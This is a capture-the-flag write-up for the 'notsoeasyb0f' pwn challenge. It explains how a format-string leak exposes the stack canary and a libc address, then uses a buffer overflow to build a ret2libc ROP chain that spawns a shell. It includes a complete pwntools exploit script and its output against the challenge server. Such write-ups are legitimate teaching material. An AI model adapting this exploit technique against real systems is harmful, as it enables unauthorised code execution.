Intro
This is the third pwn challenge. It was solved 29 times and it’s worth 469 points.
Description:
I have stack canaries enabled, Can you still B0f me ?
In addition to the binary there is also a specific libc.
You can download the binary here and the libc here
$ sha256sum notsoeasyb0f notsoeasyb0f-libc.so
9cdc861043359904c6807d31990f7369c1fec2d25e545e263bb4ae2e5786883e notsoeasyb0f
74ca69ada4429ae5fce87f7e3addb56f1b53964599e8526244fecd164b3c4b44 notsoeasyb0f-libc.so
Exploitation
This program asks for a name, echoes it back, then it asks a sentence. It seems that both input are vulnerable to a buffer overflow.
However, as the description says, stack canary is enabled.
$ ./notsoeasyb0f
Enter name : NAME
Hello
NAME
Enter sentence : SENTENCE
$ ./notsoeasyb0f
Enter name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
$ ./notsoeasyb0f
Enter name : NAME
Hello
ASD
Enter sentence : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
$ checksec ./notsoeasyb0f
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Given the protections and the libc, a two stage attack will be performed. First a leak then a ROP.
I opened with r2, as usual, and the only interesting function is the vulnerable one: main. And it’s really simple:

It’s vulnerable to buffer overflow and format string vulnerabilities. The former is at the second fgets, the latter is at the second printf.
So we could use the format string to leak the canary and a libc address.
Then the bof to build a simple ROP chain. With trial and error and the help of radare it’s easy to locate the offset to use with the format string:
- 11 to leak the canary
- 13 to leak the
saved EIPof themain. In fact the latter is in the__libc_start_main, so in thelibc
This is my exploit:
from pwn import *
prog = context.binary = ELF("PATH_TO_THE_BINARY", checksec=False)
if len(sys.argv) > 1:
host = "68.183.158.95"
port = 8991
t = remote(host, port)
system_offset = 150368
binsh_offset = 1492263
ret_offset = 263
prdi_offset = 1393839
else:
t = prog.process()
# these offsets should be customized locally
system_offset = 0
binsh_offset = 0
ret_offset = 0
prdi_offset = 0
# leak canary
t.sendline("%11$p%13$p")
t.recvuntil("Hello\n")
canary = int(t.recv(numb=18).replace("\n", ""), 16)
libc_leak = int(t.recvline().replace("\n", ""), 16)
system_libc = libc_leak + system_offset
binsh_libc = libc_leak + binsh_offset
ret_libc = libc_leak + ret_offset
prdi_libc = libc_leak + prdi_offset
log.success("CANARY: {:#x}".format(canary))
log.success("LIBC : {:#x}".format(libc_leak))
log.success("SYSTEM: {:#x}".format(system_libc))
log.success("BINSH : {:#x}".format(binsh_libc))
log.success("PRDI : {:#x}".format(prdi_libc))
log.success("RET : {:#x}".format(ret_libc))
canary_offset = 24
payload = "P"*canary_offset
payload += p64(canary)
payload += "P"*8
payload += p64(ret_libc) # ret
payload += p64(prdi_libc) # pop rdi
payload += p64(binsh_libc)
payload += p64(system_libc)
t.sendline(payload)
t.recvrepeat(0.3)
t.sendline("cat flag.txt")
print t.recvline()
t.close()
And this is the flag:
$ ./exploit.py 1
[+] Opening connection to 68.183.158.95 on port 8991: Done
[+] CANARY: 0x38d86c5026063f00
[+] LIBC : 0x7fa7fd1fc830
[+] SYSTEM: 0x7fa7fd221390
[+] BINSH : 0x7fa7fd368d57
[+] PRDI : 0x7fa7fd350cdf
[+] RET : 0x7fa7fd1fc937
d4rk{H3ll0_R0p}c0de
[*] Closed connection to 68.183.158.95 port 8991
